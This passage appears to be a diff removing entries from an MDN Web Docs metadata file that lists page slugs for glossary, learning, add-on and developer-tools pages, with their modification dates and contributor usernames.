"2020-06-09T04:59:38.616Z", - "contributors": [ - "joaonunomota" - ] - }, - "Glossary/Localization": { - "modified": "2019-03-24T00:03:56.319Z", - "contributors": [ - "Anonymous", - "fscholz", - "Verruckt", - "Kayalemao", - "Tagl" - ] - }, - "Glossary/Main_Axis": { - "modified": "2019-04-08T06:57:09.138Z", - "contributors": [ - "diogo-panaca" - ] - }, - "Glossary/Metadata": { - "modified": "2019-03-18T21:46:57.702Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/MitM": { - "modified": "2019-03-18T21:29:48.838Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/Node.js": { - "modified": "2019-03-23T22:30:21.428Z", - "contributors": [ - "Anonymous", - "GoToLoop" - ] - }, - "Glossary/OOP": { - "modified": "2019-03-18T21:47:01.837Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/OTA": { - "modified": "2019-03-23T22:30:21.528Z", - "contributors": [ - "GoToLoop" - ] - }, - "Glossary/Object": { - "modified": "2019-03-18T21:46:57.221Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/Object_reference": { - "modified": "2019-03-18T21:18:01.122Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/Polyfill": { - "modified": "2019-03-23T22:04:04.730Z", - "contributors": [ - "pedrodfcosta" - ] - }, - "Glossary/Prototype-based_programming": { - "modified": "2019-03-18T21:47:01.974Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/SCM": { - "modified": "2020-06-13T09:32:48.386Z", - "contributors": [ - "joaonunomota" - ] - }, - "Glossary/Server": { - "modified": "2019-03-23T22:30:25.987Z", - "contributors": [ - "GoToLoop" - ] - }, - "Glossary/Signature": { - "modified": "2019-03-23T22:12:54.952Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/Tag": { - "modified": "2019-03-23T22:01:42.150Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/UTF-8": { - "modified": "2019-03-18T20:40:41.143Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/Value": { - "modified": "2019-03-18T21:18:07.651Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/Viewport": { - "modified": "2020-06-10T11:59:40.452Z", - "contributors": [ - "joaonunomota" - ] - }, - "Glossary/Visual_Viewport": { - "modified": "2020-06-10T13:52:57.763Z", - "contributors": [ - "joaonunomota" - ] - }, - "Glossary/WHATWG": { - "modified": "2020-06-12T08:44:24.569Z", - "contributors": [ - "joaonunomota" - ] - }, - "Glossary/WebExtensions": { - "modified": "2019-03-18T21:37:24.767Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/WebRTC": { - "modified": "2020-06-07T12:24:38.989Z", - "contributors": [ - "joaonunomota" - ] - }, - "Glossary/WebVTT": { - "modified": "2020-06-12T12:26:29.739Z", - "contributors": [ - "joaonunomota" - ] - }, - "Glossary/World_Wide_Web": { - "modified": "2019-03-18T21:46:52.018Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/Wrapper": { - "modified": "2019-03-18T21:17:53.688Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/XHTML": { - "modified": "2019-03-23T23:40:29.099Z", - "contributors": [ - "Anonymous", - "RuiMaciel" - ] - }, - "Glossary/XML": { - "modified": "2019-03-23T22:01:48.146Z", - "contributors": [ - "Anonymous" - ] - }, - "Learn": { - "modified": "2020-07-21T13:37:41.344Z", - "contributors": [ - "joaonunomota", - "VITOR77777", - "PRigter", - "SphinxKnight", - "svarlamov", - "Anonymous", - "DoviMaj", - "joao-neves95", - "albertocastro", - "mrmorais", - "Jeremie" - ] - }, - "Learn/Accessibility": { - "modified": "2020-07-21T16:29:40.277Z", - "contributors": [ - "joaonunomota", - "Anonymous" - ] - }, - "Learn/CSS": { - "modified": "2020-07-16T22:25:36.875Z", - "contributors": [ - "joaonunomota", - "Anonymous" - ] - }, - "Learn/CSS/Building_blocks": { - "modified": "2019-03-24T00:00:34.956Z", - "contributors": [ - "fscholz", - "teoli", - "Verruckt", - "Leandro Mercês Xavier" - ] - }, - "Learn/CSS/Building_blocks/Cascade_and_inheritance": { - "modified": "2019-03-24T00:00:35.429Z", - "contributors": [ - "fscholz", - "teoli", - "Verruckt", - "Leandro Mercês Xavier" - ] - }, - "Learn/CSS/Building_blocks/Selectors": { - "modified": "2019-03-24T00:00:36.764Z", - "contributors": [ - "fscholz", - "teoli", - "Verruckt", - "Leandro Mercês Xavier" - ] - }, - "Learn/CSS/Building_blocks/Styling_tables": { - "modified": "2019-03-24T00:00:35.865Z", - "contributors": [ - "fscholz", - "teoli", - "Verruckt", - "Leandro Mercês Xavier" - ] - }, - "Learn/CSS/Building_blocks/Values_and_units": { - "modified": "2019-03-24T00:00:35.276Z", - "contributors": [ - "fscholz", - "teoli", - "Verruckt", - "Leandro Mercês Xavier" - ] - }, - "Learn/CSS/CSS_layout": { - "modified": "2019-03-24T00:00:37.327Z", - "contributors": [ - "fscholz", - "teoli", - "Verruckt", - "Leandro Mercês Xavier" - ] - }, - "Learn/CSS/First_steps": { - "modified": "2019-03-23T23:44:54.310Z", - "contributors": [ - "Anonymous", - "teoli", - "Leandro Mercês Xavier", - "Verruckt", - "Pilinio", - "Luisvulcanis" - ] - }, - "Learn/CSS/First_steps/How_CSS_is_structured": { - "modified": "2019-03-24T00:00:36.923Z", - "contributors": [ - "fscholz", - "teoli", - "Verruckt", - "Luis Henrique Sousa", - "Leandro Mercês Xavier" - ] - }, - "Learn/CSS/First_steps/How_CSS_works": { - "modified": "2019-03-24T00:00:37.691Z", - "contributors": [ - "fscholz", - "teoli", - "Verruckt", - "Leandro Mercês Xavier" - ] - }, - "Learn/CSS/Howto": { - "modified": "2020-07-16T22:25:44.063Z", - "contributors": [ - "Anonymous", - "chrisdavidmills" - ] - }, - "Learn/CSS/Howto/CSS_FAQ": { - "modified": "2020-07-16T22:25:45.869Z", - "contributors": [ - "Anonymous" - ] - }, - "Learn/CSS/Howto/Generated_content": { - "modified": "2020-07-16T22:25:48.413Z", - "contributors": [ - "fscholz", - "teoli", - "Verruckt", - "Leandro Mercês Xavier" - ] - }, - "Learn/CSS/Styling_text": { - "modified": "2020-07-16T22:26:00.007Z", - "contributors": [ - "Anonymous" - ] - }, - "Learn/CSS/Styling_text/Fundamentals": { - "modified": "2019-03-24T00:00:39.580Z", - "contributors": [ - "fscholz", - "teoli", - "Verruckt", - "Leandro Mercês Xavier", - "Luis Henrique Sousa" - ] - }, - "Learn/CSS/Styling_text/Styling_lists": { - "modified": "2019-03-24T00:00:36.171Z", - "contributors": [ - "fscholz", - "teoli", - "Verruckt", - "Luis Henrique Sousa", - "Leandro Mercês Xavier" - ] - }, - "Learn/Common_questions": { - "modified": "2020-07-16T22:35:26.594Z", - "contributors": [ - "Anonymous" - ] - }, - "Learn/Common_questions/How_does_the_Internet_work": { - "modified": "2020-07-16T22:35:37.920Z", - "contributors": [ - "Anonymous" - ] - }, - "Learn/Common_questions/Pages_sites_servers_and_search_engines": { - "modified": "2020-07-16T22:35:40.437Z", - "contributors": [ - "Anonymous" - ] - }, - "Learn/Common_questions/What_is_a_URL": { - "modified": "2020-07-16T22:35:30.214Z", - "contributors": [ - "Anonymous" - ] - }, - "Learn/Common_questions/What_is_a_domain_name": { - "modified": "2020-07-16T22:35:44.710Z", - "contributors": [ - "Anonymous" - ] - }, - "Learn/Common_questions/What_is_a_web_server": { - "modified": "2020-07-16T22:35:31.962Z", - "contributors": [ - "Anonymous" - ] - }, - "Learn/Common_questions/set_up_a_local_testing_server": { - "modified": "2020-07-16T22:35:53.519Z", - "contributors": [ - "Anonymous" - ] - }, - "Learn/Front-end_web_developer": { - "modified": "2020-12-12T20:48:26.981Z", - "contributors": [ - "polonia", - "nuruldecarvalho", - "VITOR77777" - ] - }, - "Learn/Getting_started_with_the_web": { - "modified": "2020-11-09T11:59:04.208Z", - "contributors": [ - "joaonunomota", - "Anonymous" - ] - }, - "Learn/Getting_started_with_the_web/CSS_basics": { - "modified": "2020-08-17T15:28:30.827Z", - "contributors": [ - "joaonunomota", - "diogo-panaca", - "Anonymous" - ] - }, - "Learn/Getting_started_with_the_web/Dealing_with_files": { - "modified": "2020-07-20T16:01:08.653Z", - "contributors": [ - "joaonunomota", - "diogo-panaca", - "Anonymous" - ] - }, - "Learn/Getting_started_with_the_web/HTML_basics": { - "modified": "2020-08-15T18:37:16.181Z", - "contributors": [ - "joaonunomota", - "diogo-panaca", - "Anonymous", - "mrsilvino" - ] - }, - "Learn/Getting_started_with_the_web/How_the_Web_works": { - "modified": "2020-07-21T16:44:13.094Z", - "contributors": [ - "joaonunomota", - "gabodin", - "Anonymous" - ] - }, - "Learn/Getting_started_with_the_web/Installing_basic_software": { - "modified": "2020-07-23T08:51:53.513Z", - "contributors": [ - "joaonunomota", - "diogo-panaca", - "Jacgrillon", - "Anonymous" - ] - }, - "Learn/Getting_started_with_the_web/JavaScript_basics": { - "modified": "2020-08-17T15:31:44.919Z", - "contributors": [ - "joaonunomota", - "diogo-panaca", - "Anonymous" - ] - }, - "Learn/Getting_started_with_the_web/Publishing_your_website": { - "modified": "2020-08-17T15:33:14.323Z", - "contributors": [ - "joaonunomota" - ] - }, - "Learn/Getting_started_with_the_web/The_web_and_web_standards": { - "modified": "2020-08-15T18:38:33.155Z", - "contributors": [ - "joaonunomota", - "Anonymous" - ] - }, - "Learn/Getting_started_with_the_web/What_will_your_website_look_like": { - "modified": "2020-07-16T22:34:19.154Z", - "contributors": [ - "joaonunomota", - "diogo-panaca", - "Anonymous" - ] - }, - "Learn/HTML": { - "modified": "2020-07-16T22:22:22.937Z", - "contributors": [ - "Anonymous", - "RicardoLovatel", - "chrisdavidmills" - ] - }, - "Learn/HTML/Howto": { - "modified": "2020-07-16T22:22:30.740Z", - "contributors": [ - "Anonymous" - ] - }, - "Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image": { - "modified": "2020-07-16T22:22:43.567Z", - "contributors": [ - "Anonymous" - ] - }, - "Learn/HTML/Introduction_to_HTML": { - "modified": "2020-07-16T22:22:52.576Z", - "contributors": [ - "diogo-panaca", - "joaomc", - "Anonymous" - ] - }, - "Learn/HTML/Introduction_to_HTML/Advanced_text_formatting": { - "modified": "2020-07-16T22:23:57.791Z", - "contributors": [ - "diogo-panaca" - ] - }, - "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks": { - "modified": "2020-07-16T22:23:46.700Z", - "contributors": [ - "diogo-panaca" - ] - }, - "Learn/HTML/Introduction_to_HTML/Debugging_HTML": { - "modified": "2020-07-16T22:24:15.706Z", - "contributors": [ - "diogo-panaca" - ] - }, - "Learn/HTML/Introduction_to_HTML/Document_and_website_structure": { - "modified": "2020-07-16T22:24:08.727Z", - "contributors": [ - "diogo-panaca" - ] - }, - "Learn/HTML/Introduction_to_HTML/Getting_started": { - "modified": "2020-07-16T22:23:06.412Z", - "contributors": [ - "cmccarreiro", - "Anonymous" - ] - }, - "Learn/HTML/Introduction_to_HTML/Marking_up_a_letter": { - "modified": "2020-07-16T22:23:13.979Z", - "contributors": [ - "diogo-panaca" - ] - }, - "Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content": { - "modified": "2020-07-16T22:24:20.585Z", - "contributors": [ - "diogo-panaca" - ] - }, - "Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML": { - "modified": "2020-07-16T22:23:23.598Z", - "contributors": [ - "Anonymous" - ] - }, - "Learn/HTML/Multimedia_and_embedding": { - "modified": "2020-07-16T22:24:28.825Z", - "contributors": [ - "Anonymous", - "chrisdavidmills" - ] - }, - "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page": { - "modified": "2020-07-16T22:25:08.049Z", - "contributors": [ - "diegobarcelar", - "Anonymous" - ] - }, - "Learn/HTML/Multimedia_and_embedding/Video_and_audio_content": { - "modified": "2020-07-16T22:24:56.333Z", - "contributors": [ - "Anonymous" - ] - }, - "Learn/HTML/Tables": { - "modified": "2020-07-16T22:25:15.032Z", - "contributors": [ - "Anonymous", - "thetoni" - ] - }, - "Learn/HTML/Tables/Advanced": { - "modified": "2020-07-16T22:25:27.234Z", - "contributors": [ - "Anonymous" - ] - }, - "Learn/HTML/Tables/Basics": { - "modified": "2020-07-16T22:25:22.105Z", - "contributors": [ - "diogo-panaca", - "Anonymous" - ] - }, - "Learn/HTML/Tables/Structuring_planet_data": { - "modified": "2020-07-16T22:25:30.543Z", - "contributors": [ - "Anonymous" - ] - }, - "Learn/Index": { - "modified": "2020-07-16T22:33:40.763Z", - "contributors": [ - "Anonymous" - ] - }, - "Learn/JavaScript": { - "modified": "2020-07-16T22:29:43.788Z", - "contributors": [ - "Anonymous", - "Japroriple" - ] - }, - "Learn/JavaScript/Client-side_web_APIs/Manipulating_documents": { - "modified": "2019-03-24T00:00:40.211Z", - "contributors": [ - "fscholz", - "teoli", - "ethertank", - "Verruckt", - "Leandro Mercês Xavier" - ] - }, - "Learn/JavaScript/First_steps": { - "modified": "2020-07-16T22:29:54.837Z", - "contributors": [ - "Anonymous", - "Elllenn" - ] - }, - "Learn/Server-side": { - "modified": "2020-07-16T22:36:01.831Z", - "contributors": [ - "Anonymous", - "joao-neves95" - ] - }, - "Learn/Server-side/Django": { - "modified": "2020-07-16T22:36:35.255Z", - "contributors": [ - "Anonymous" - ] - }, - "Learn/Server-side/Express_Nodejs": { - "modified": "2020-07-16T22:37:54.969Z", - "contributors": [ - "Anonymous", - "joao-neves95" - ] - }, - "Learn/Server-side/Express_Nodejs/Introduction": { - "modified": "2020-07-16T22:38:13.187Z", - "contributors": [ - "Anonymous" - ] - }, - "Learn/Server-side/Express_Nodejs/development_environment": { - "modified": "2020-07-16T22:38:00.728Z", - "contributors": [ - "Anonymous" - ] - }, - "Learn/Server-side/Node_server_without_framework": { - "modified": "2020-07-16T22:36:06.037Z", - "contributors": [ - "Anonymous", - "joao-neves95" - ] - }, - "Learn/Tools_and_testing": { - "modified": "2020-07-16T22:38:57.196Z", - "contributors": [ - "Anonymous", - "Navin77" - ] - }, - "Learn/Tools_and_testing/Cross_browser_testing": { - "modified": "2020-07-16T22:39:01.215Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Learn/Tools_and_testing/Cross_browser_testing/Accessibility": { - "modified": "2020-09-24T09:24:04.432Z", - "contributors": [ - "Painatalman" - ] - }, - "MDN": { - "modified": "2020-02-19T18:55:27.012Z", - "contributors": [ - "jswisher", - "SphinxKnight", - "Anonymous", - "wbamberg", - "Jeremie", - "davempso", - "Sheppy" - ] - }, - "MDN/About": { - "modified": "2019-09-10T08:55:19.644Z", - "contributors": [ - "SphinxKnight", - "Anonymous", - "wbamberg", - "Dilson", - "jswisher" - ] - }, - "MDN/At_ten": { - "modified": "2019-03-23T22:50:14.757Z", - "contributors": [ - "Anonymous", - "Matoplays" - ] - }, - "MDN/At_ten/History_of_MDN": { - "modified": "2019-03-23T22:09:33.028Z", - "contributors": [ - "Anonymous" - ] - }, - "MDN/Contribute": { - "modified": "2019-03-23T23:03:08.251Z", - "contributors": [ - "Anonymous", - "wbamberg", - "alispivak" - ] - }, - "MDN/Contribute/Feedback": { - "modified": "2020-09-30T17:52:26.093Z", - "contributors": [ - "chrisdavidmills", - "jswisher", - "SphinxKnight", - "Anonymous", - "wbamberg" - ] - }, - "MDN/Contribute/Getting_started": { - "modified": "2020-09-30T17:15:31.197Z", - "contributors": [ - "chrisdavidmills", - "joaonunomota", - "Anonymous", - "wbamberg", - "riagva", - "davempso" - ] - }, - "MDN/Contribute/Howto": { - "modified": "2019-01-16T21:51:27.704Z", - "contributors": [ - "wbamberg", - "Anonymous", - "jswisher" - ] - }, - "MDN/Contribute/Howto/Convert_code_samples_to_be_live": { - "modified": "2020-03-02T17:27:21.266Z", - "contributors": [ - "carlostojal", - "wbamberg", - "Anonymous" - ] - }, - "MDN/Contribute/Howto/Create_and_edit_pages": { - "modified": "2019-04-04T11:57:15.432Z", - "contributors": [ - "diogo-panaca" - ] - }, - "MDN/Contribute/Howto/Report_a_problem": { - "modified": "2020-01-07T12:19:34.416Z", - "contributors": [ - "peterbe", - "wbamberg", - "Anonymous" - ] - }, - "MDN/Contribute/Howto/Tag": { - "modified": "2019-11-13T11:32:17.983Z", - "contributors": [ - "Anonymous", - "wbamberg" - ] - }, - "MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary": { - "modified": "2019-03-23T22:12:45.769Z", - "contributors": [ - "wbamberg", - "maarysantos", - "Anonymous" - ] - }, - "MDN/Contribute/Howto/Write_an_API_reference/Sidebars": { - "modified": "2020-09-30T12:57:10.465Z", - "contributors": [ - "chrisdavidmills", - "wbamberg", - "Anonymous" - ] - }, - "MDN/Guidelines": { - "modified": "2020-09-30T15:31:28.524Z", - "contributors": [ - "chrisdavidmills", - "wbamberg", - "Anonymous" - ] - }, - "MDN/Guidelines/Conventions_definitions": { - "modified": "2020-09-30T15:31:29.524Z", - "contributors": [ - "chrisdavidmills", - "jswisher", - "Anonymous", - "wbamberg" - ] - }, - "MDN/Guidelines/Does_this_belong_on_MDN": { - "modified": "2020-09-30T15:31:29.806Z", - "contributors": [ - "chrisdavidmills", - "jswisher", - "Anonymous" - ] - }, - "MDN/Guidelines/Writing_style_guide": { - "modified": "2020-09-30T15:31:29.280Z", - "contributors": [ - "chrisdavidmills", - "joaonunomota", - "jswisher", - "wbamberg", - "Anonymous" - ] - }, - "MDN/Structures": { - "modified": "2020-09-30T12:57:09.511Z", - "contributors": [ - "chrisdavidmills", - "wbamberg", - "jswisher" - ] - }, - "MDN/Structures/Live_samples": { - "modified": "2020-09-30T12:57:10.000Z", - "contributors": [ - "chrisdavidmills", - "wbamberg", - "Anonymous" - ] - }, - "MDN/Structures/Macros": { - "modified": "2020-09-30T12:57:10.153Z", - "contributors": [ - "chrisdavidmills", - "wbamberg", - "Anonymous" - ] - }, - "MDN/Tools": { - "modified": "2020-09-30T16:53:22.697Z", - "contributors": [ - "chrisdavidmills", - "wbamberg", - "jswisher" - ] - }, - "MDN/Tools/KumaScript": { - "modified": "2020-09-30T16:53:22.999Z", - "contributors": [ - "chrisdavidmills", - "wbamberg", - "Anonymous" - ] - }, - "MDN/Yari": { - "modified": "2019-09-09T15:53:50.658Z", - "contributors": [ - "SphinxKnight", - "Anonymous", - "wbamberg" - ] - }, - "Mozilla": { - "modified": "2019-03-24T00:17:35.290Z", - "contributors": [ - "Anonymous", - "billhiba", - "Beria" - ] - }, - "Mozilla/Add-ons": { - "modified": "2019-03-18T21:08:20.167Z", - "contributors": [ - "Anonymous", - "nportugal", - "Anomitro_Munshi" - ] - }, - "Mozilla/Add-ons/WebExtensions": { - "modified": "2019-03-18T20:49:08.711Z", - "contributors": [ - "Anonymous", - "wbamberg" - ] - }, - "Mozilla/Add-ons/WebExtensions/API": { - "modified": "2019-11-26T22:19:55.515Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/API/browserAction": { - "modified": "2020-10-15T21:59:49.630Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/API/browsingData": { - "modified": "2020-10-15T22:14:48.933Z", - "contributors": [ - "ExE-Boss" - ] - }, - "Mozilla/Add-ons/WebExtensions/API/browsingData/removePluginData": { - "modified": "2020-10-15T22:14:40.836Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/API/devtools/panels": { - "modified": "2020-10-15T21:59:48.885Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/API/i18n": { - "modified": "2020-10-15T22:14:41.219Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/API/pageAction": { - "modified": "2020-10-15T21:59:47.365Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/API/sidebarAction": { - "modified": "2020-10-15T22:06:57.394Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/API/storage": { - "modified": "2020-10-15T21:59:48.396Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension": { - "modified": "2019-03-18T21:03:04.427Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs": { - "modified": "2020-10-15T20:55:03.457Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/Content_scripts": { - "modified": "2019-07-29T11:08:46.237Z", - "contributors": [ - "duduindo", - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/Examples": { - "modified": "2019-03-18T21:03:01.761Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools": { - "modified": "2019-03-18T21:04:10.244Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests": { - "modified": "2019-03-18T21:03:59.316Z", - "contributors": [ - "carlosteixeiraa" - ] - }, - "Mozilla/Add-ons/WebExtensions/Internationalization": { - "modified": "2019-03-18T20:56:21.219Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/Match_patterns": { - "modified": "2020-10-15T22:25:44.918Z", - "contributors": [ - "martimafonso" - ] - }, - "Mozilla/Add-ons/WebExtensions/Tips": { - "modified": "2019-03-18T21:01:44.598Z", - "contributors": [ - "SphinxKnight" - ] - }, - "Mozilla/Add-ons/WebExtensions/What_are_WebExtensions": { - "modified": "2019-03-18T21:05:19.046Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/What_next_": { - "modified": "2019-03-18T21:01:48.060Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/Your_first_WebExtension": { - "modified": "2019-03-18T21:04:11.435Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/Your_second_WebExtension": { - "modified": "2019-03-18T21:03:02.346Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/manifest.json": { - "modified": "2020-10-15T21:59:48.039Z", - "contributors": [ - "Painatalman", - "wbamberg" - ] - }, - "Mozilla/Add-ons/WebExtensions/manifest.json/browser_action": { - "modified": "2020-10-15T21:59:47.236Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/manifest.json/browser_specific_settings": { - "modified": "2020-10-15T22:07:31.462Z", - "contributors": [ - "wbamberg", - "ExE-Boss", - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/manifest.json/devtools_page": { - "modified": "2020-10-15T21:59:47.989Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/manifest.json/icons": { - "modified": "2020-10-15T21:59:47.019Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/user_interface": { - "modified": "2019-03-18T21:04:19.885Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/user_interface/Browser_action": { - "modified": "2019-03-18T21:04:05.718Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/user_interface/Browser_styles": { - "modified": "2020-10-15T22:07:31.177Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items": { - "modified": "2019-03-18T21:04:09.803Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages": { - "modified": "2019-03-18T21:03:04.123Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/user_interface/Notifications": { - "modified": "2019-03-18T21:04:17.481Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/user_interface/Omnibox": { - "modified": "2019-03-18T21:01:59.411Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/user_interface/Options_pages": { - "modified": "2019-03-18T21:04:14.023Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/user_interface/Page_actions": { - "modified": "2019-03-18T21:04:17.709Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/user_interface/Popups": { - "modified": "2019-08-10T13:56:46.929Z", - "contributors": [ - "pedrosino", - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/user_interface/Sidebars": { - "modified": "2019-03-18T21:04:06.139Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels": { - "modified": "2019-03-18T21:04:02.641Z", - "contributors": [ - "Anonymous" - ] - }, - "Mozilla/Firefox": { - "modified": "2019-09-10T15:01:27.677Z", - "contributors": [ - "SphinxKnight", - "Anonymous", - "wbamberg", - "albertocastro", - "Sheppy" - ] - }, - "Mozilla/Firefox/Releases": { - "modified": "2019-03-18T21:15:03.747Z", - "contributors": [ - "Anonymous", - "wbamberg", - "Sheppy" - ] - }, - "Mozilla/Firefox/Releases/1.5": { - "modified": "2019-03-24T00:02:26.260Z", - "contributors": [ - "wbamberg", - "SphinxKnight", - "fscholz", - "Takenbot", - "Leandro Mercês Xavier" - ] - }, - "Mozilla/Firefox/Releases/2": { - "modified": "2019-03-24T00:02:35.537Z", - "contributors": [ - "wbamberg", - "SphinxKnight", - "fscholz", - "Leandro Mercês Xavier", - "Kayalemao" - ] - }, - "Mozilla/Firefox/Releases/3": { - "modified": "2019-03-23T23:19:50.195Z", - "contributors": [ - "wbamberg", - "ethertank" - ] - }, - "Mozilla/Firefox/Releases/3.5": { - "modified": "2019-03-24T00:00:50.782Z", - "contributors": [ - "wbamberg", - "teoli", - "Verruckt", - "Leandro Mercês Xavier" - ] - }, - "Mozilla/Firefox/Releases/3.5/Updating_extensions": { - "modified": "2019-03-24T00:00:34.452Z", - "contributors": [ - "wbamberg", - "teoli", - "Verruckt", - "Leandro Mercês Xavier" - ] - }, - "Mozilla/Firefox/Releases/3.6": { - "modified": "2019-12-13T20:33:40.975Z", - "contributors": [ - "wbamberg", - "SphinxKnight", - "teoli", - "Verruckt", - "Leandro Mercês Xavier" - ] - }, - "Mozilla/Firefox/Releases/3/Site_compatibility": { - "modified": "2019-03-23T23:47:04.199Z", - "contributors": [ - "wbamberg", - "Sheppy", - "Verruckt" - ] - }, - "Mozilla/Firefox/Releases/3/Updating_extensions": { - "modified": "2019-12-13T20:33:32.517Z", - "contributors": [ - "wbamberg", - "fscholz", - "SphinxKnight", - "Anonymous", - "teoli", - "Sheppy", - "Leandro Mercês Xavier", - "Verruckt" - ] - }, - "Mozilla/Firefox/Releases/4": { - "modified": "2019-11-21T00:43:18.363Z", - "contributors": [ - "wbamberg", - "Sebastianz", - "Prinz_Rana", - "teoli", - "Verruckt", - "Leandro Mercês Xavier" - ] - }, - "Mozilla/Firefox/Releases/5": { - "modified": "2019-03-24T00:09:30.352Z", - "contributors": [ - "wbamberg", - "teoli", - "Verruckt" - ] - }, - "Mozilla/Firefox/Releases/6": { - "modified": "2019-11-21T00:43:07.958Z", - "contributors": [ - "wbamberg", - "Anonymous", - "teoli", - "Verruckt" - ] - }, - "Mozilla/Firefox/Releases/70": { - "modified": "2019-10-01T09:44:22.188Z", - "contributors": [ - "Anonymous" - ] - }, - "Plugins/Flash_to_HTML5": { - "modified": "2019-03-18T20:56:20.182Z", - "contributors": [ - "Anonymous" - ] - }, - "Tools": { - "modified": "2020-07-16T22:44:17.493Z", - "contributors": [ - "SphinxKnight", - "Anonymous", - "wbamberg", - "robert882", - "Leite", - "caobarbosa", - "Timmi" - ] - }, - "Tools/Debugger": { - "modified": "2020-07-16T22:35:06.168Z", - "contributors": [ - "Anonymous", - "wbamberg" - ] - }, - "Tools/Debugger/How_to": { - "modified": "2020-07-16T22:35:08.333Z" - }, - "Tools/Debugger/How_to/Open_the_debugger": { - "modified": "2020-07-16T22:35:09.351Z", - "contributors": [ - "Anonymous" - ] - }, - "Tools/Debugger/How_to/Use_a_source_map": { - "modified": "2020-09-11T09:41:20.649Z", - "contributors": [ - "pedro-surf", - "Anonymous" - ] - }, - "Tools/Debugger/Source_map_errors": { - "modified": "2020-07-16T22:35:19.577Z", - "contributors": [ - "Anonymous" - ] - }, - "Tools/Debugger/UI_Tour": { - "modified": "2020-07-16T22:35:16.876Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Keyboard_shortcuts": { - "modified": "2020-07-16T22:35:50.422Z", - "contributors": [ - "Anonymous", - "wbamberg" - ] - }, - "Tools/Memory": { - "modified": "2020-07-16T22:36:27.341Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Network_Monitor": { - "modified": "2020-07-16T22:35:31.240Z", - "contributors": [ - "Anonymous", - "wbamberg" - ] - }, - "Tools/Page_Inspector": { - "modified": "2020-07-16T22:34:29.429Z", - "contributors": [ - "wbamberg", - "Anonymous", - "DevAsh" - ] - }, - "Tools/Page_Inspector/How_to": { - "modified": "2020-07-16T22:34:31.978Z", - "contributors": [ - "wbamberg", - "Anonymous", - "sidgan" - ] - }, - "Tools/Page_Inspector/How_to/Edit_fonts": { - "modified": "2020-07-16T22:34:39.170Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Page_Inspector/How_to/Examine_and_edit_CSS": { - "modified": "2020-07-16T22:34:43.588Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model": { - "modified": 